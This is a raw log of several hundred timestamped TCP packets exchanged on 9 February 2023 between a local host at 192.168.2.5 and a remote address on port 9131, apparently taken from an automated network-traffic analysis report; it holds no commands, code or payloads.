Feb 9, 2023 00:59:58.092793941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092818975 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092823029 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092881918 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.191749096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.191796064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.191827059 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.191858053 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.191935062 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.191972017 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.193449974 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.193515062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.193546057 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.193578005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.193583965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.193620920 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.193741083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.193769932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.193810940 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.193833113 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.193862915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.193908930 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.193912029 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.193943024 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194008112 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194031000 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194063902 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194103956 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194109917 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194155931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194188118 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194212914 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194236040 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194281101 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194302082 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194349051 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194379091 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194394112 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194423914 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194468021 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194474936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194514036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194545031 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194555998 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194590092 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194618940 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194628954 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194679976 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194722891 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194755077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194786072 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194813967 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194832087 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194880962 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194911003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194924116 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.194942951 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194977999 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.194983006 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.195034027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195072889 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.195080042 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195135117 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195167065 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195177078 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.195195913 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195226908 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195235968 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.195256948 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195288897 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195300102 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.195318937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195349932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195360899 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.195383072 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195414066 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195422888 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.195445061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.195486069 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.292536974 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292573929 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292594910 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292615891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292644978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292682886 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.292701960 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292731047 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292732000 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.292752028 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292756081 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.292790890 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.292856932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292886019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292906046 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292922020 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.292927027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.292962074 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.293004990 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293026924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293046951 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293066025 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.293067932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293108940 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.293135881 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293179035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293199062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293219090 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293219090 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.293256998 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.293302059 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293351889 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293379068 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293397903 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293415070 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.293416977 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293445110 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.293605089 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293627977 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293646097 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293664932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293693066 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.293771982 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.293771982 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.293771982 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294039965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294059038 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294084072 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294107914 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294153929 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294174910 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294193983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294199944 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294214010 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294235945 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294249058 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294286013 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294296026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294307947 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294327021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294346094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294359922 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294367075 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294394016 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294419050 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294420004 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294445992 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294456005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294481039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294493914 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294507027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294519901 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294548988 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294565916 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294568062 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294604063 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294619083 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294657946 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294678926 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294712067 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294728994 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294754028 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294780016 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294783115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294801950 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294822931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294830084 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294859886 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294867992 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294871092 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294893026 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294924021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294926882 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294944048 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.294960976 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.294965982 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.295020103 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.295061111 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.295088053 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.295108080 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.295126915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.295159101 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.295178890 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.295206070 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.295959949 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.295998096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296026945 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296031952 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.296066046 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.296129942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296257973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296338081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296355009 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.296370983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296468973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296494961 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296504021 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.296521902 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296535969 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.296541929 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296569109 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296580076 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.296642065 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296700954 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296710014 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.296730042 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296773911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296781063 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.296859026 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296894073 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296909094 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.296932936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296960115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.296992064 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.296993971 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297041893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297069073 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297081947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297105074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297173977 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297226906 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297363997 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297420979 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297441959 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297473907 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297482014 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297502995 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297528982 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297545910 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297570944 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297599077 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297610044 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297638893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297660112 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297688961 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297689915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297699928 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297720909 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297756910 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297761917 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297776937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297806978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297811031 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297840118 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297861099 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297880888 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297888041 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297900915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297920942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.297923088 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.297970057 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.323990107 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.393129110 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.393184900 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.393259048 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.393654108 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.393754005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.393810987 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.393812895 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.393851995 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.393892050 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.393898010 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.393934011 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.393974066 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.393980980 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.394023895 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394078016 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.394117117 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394159079 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394207954 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.394218922 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394273043 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394319057 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.394340038 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394417048 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394479036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394519091 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394536018 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.394561052 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394599915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394618034 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.394638062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394645929 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.394678116 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394726038 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.394732952 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394776106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394814014 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394821882 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.394851923 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394891024 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394896984 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.394929886 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394974947 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.394977093 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.395018101 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.395070076 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.395328999 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.395374060 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.395416975 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.395423889 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.395456076 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.395493984 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.395498037 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.395538092 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.395586014 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.395870924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.395973921 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396032095 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.396044970 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396163940 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396215916 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.396234989 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396275997 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396317005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396320105 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.396364927 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396405935 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396449089 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396478891 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.396478891 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.396490097 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396528006 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396534920 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.396567106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396611929 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396617889 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.396651030 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396692038 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396698952 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.396734953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396775961 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.396780968 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.396816015 CET	9131	49700	128.31.0.39	192.168.2.5
